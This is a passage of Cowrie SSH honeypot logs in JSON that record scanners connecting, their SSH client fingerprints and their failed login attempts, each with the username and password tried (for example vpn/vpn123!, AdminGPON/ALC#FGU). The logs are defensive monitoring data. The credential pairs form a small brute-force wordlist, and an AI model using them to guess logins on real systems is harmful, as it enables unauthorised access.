-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:31.825557Z","src_ip":"27.111.32.174","session":"c67e9b3407db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"info","password":"1234","message":"login attempt [info/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:32.855513Z","src_ip":"27.111.32.174","session":"c67e9b3407db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:34.106831Z","src_ip":"27.111.32.174","session":"c67e9b3407db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.245.10.43","src_port":46794,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2be8cbe22df","protocol":"ssh","message":"New connection: 61.245.10.43:46794 (10.17.0.5:22) [session: a2be8cbe22df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:47.927013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:47.930923Z","src_ip":"61.245.10.43","session":"a2be8cbe22df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:48.186178Z","src_ip":"61.245.10.43","session":"a2be8cbe22df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almacen","password":"password","message":"login attempt [almacen/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:49.238833Z","src_ip":"61.245.10.43","session":"a2be8cbe22df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:50.499715Z","src_ip":"61.245.10.43","session":"a2be8cbe22df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":39082,"dst_ip":"159.203.135.109","dst_port":22,"session":"31994e778e11","protocol":"ssh","message":"New connection: 2.57.121.25:39082 (159.203.135.109:22) [session: 31994e778e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:54.955394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:54.959651Z","src_ip":"2.57.121.25","session":"31994e778e11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:55.058748Z","src_ip":"2.57.121.25","session":"31994e778e11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12071980","message":"login attempt [user/12071980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:55.529516Z","src_ip":"2.57.121.25","session":"31994e778e11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12051984","message":"login attempt [user/12051984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:56.631397Z","src_ip":"2.57.121.25","session":"31994e778e11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120489","message":"login attempt [user/120489] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:57.732876Z","src_ip":"2.57.121.25","session":"31994e778e11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120485","message":"login attempt [user/120485] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:58.834615Z","src_ip":"2.57.121.25","session":"31994e778e11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12011984","message":"login attempt [user/12011984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:59.936776Z","src_ip":"2.57.121.25","session":"31994e778e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:16:01.040995Z","src_ip":"2.57.121.25","session":"31994e778e11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38326,"dst_ip":"10.17.0.5","dst_port":22,"session":"a98416013e9c","protocol":"ssh","message":"New connection: 2.57.122.208:38326 (10.17.0.5:22) [session: a98416013e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:16:21.917006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:16:21.952798Z","src_ip":"2.57.122.208","session":"a98416013e9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:16:22.072254Z","src_ip":"2.57.122.208","session":"a98416013e9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:16:22.576111Z","src_ip":"2.57.122.208","session":"a98416013e9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:16:23.682092Z","src_ip":"2.57.122.208","session":"a98416013e9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.155.21.198","src_port":50796,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecc01267b52d","protocol":"ssh","message":"New connection: 43.155.21.198:50796 (159.203.135.109:22) [session: ecc01267b52d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:16:36.760934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:16:36.765314Z","src_ip":"43.155.21.198","session":"ecc01267b52d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:16:36.973238Z","src_ip":"43.155.21.198","session":"ecc01267b52d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"casa","password":"123","message":"login attempt [casa/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:16:37.838749Z","src_ip":"43.155.21.198","session":"ecc01267b52d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:16:39.049962Z","src_ip":"43.155.21.198","session":"ecc01267b52d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":38956,"dst_ip":"10.17.0.5","dst_port":22,"session":"54cf0a899d30","protocol":"ssh","message":"New connection: 64.188.83.153:38956 (10.17.0.5:22) [session: 54cf0a899d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:16:41.185339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:16:41.189345Z","src_ip":"64.188.83.153","session":"54cf0a899d30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:16:41.276938Z","src_ip":"64.188.83.153","session":"54cf0a899d30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn123!","message":"login attempt [vpn/vpn123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:16:41.648712Z","src_ip":"64.188.83.153","session":"54cf0a899d30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:16:42.736073Z","src_ip":"64.188.83.153","session":"54cf0a899d30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":39426,"dst_ip":"10.17.0.5","dst_port":22,"session":"208dc3661193","protocol":"ssh","message":"New connection: 45.148.10.121:39426 (10.17.0.5:22) [session: 208dc3661193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:16:58.975674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:16:58.979406Z","src_ip":"45.148.10.121","session":"208dc3661193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:16:59.058787Z","src_ip":"45.148.10.121","session":"208dc3661193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AdminGPON","password":"ALC#FGU","message":"login attempt [AdminGPON/ALC#FGU] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:16:59.297013Z","src_ip":"45.148.10.121","session":"208dc3661193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:00.378840Z","src_ip":"45.148.10.121","session":"208dc3661193","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.11.196.84","src_port":56350,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcb83a2eb22e","protocol":"ssh","message":"New connection: 177.11.196.84:56350 (10.17.0.5:22) [session: bcb83a2eb22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:08.694388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:08.698677Z","src_ip":"177.11.196.84","session":"bcb83a2eb22e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:08.834105Z","src_ip":"177.11.196.84","session":"bcb83a2eb22e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mama","password":"1234","message":"login attempt [mama/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:09.411186Z","src_ip":"177.11.196.84","session":"bcb83a2eb22e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:10.550143Z","src_ip":"177.11.196.84","session":"bcb83a2eb22e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.103.212","src_port":39922,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0d815f636a1","protocol":"ssh","message":"New connection: 147.50.103.212:39922 (10.17.0.5:22) [session: b0d815f636a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:21.647300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:21.652013Z","src_ip":"147.50.103.212","session":"b0d815f636a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:21.915166Z","src_ip":"147.50.103.212","session":"b0d815f636a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn123!","message":"login attempt [vpn/vpn123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:22.992943Z","src_ip":"147.50.103.212","session":"b0d815f636a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:24.257593Z","src_ip":"147.50.103.212","session":"b0d815f636a1","protocol":"ssh"}
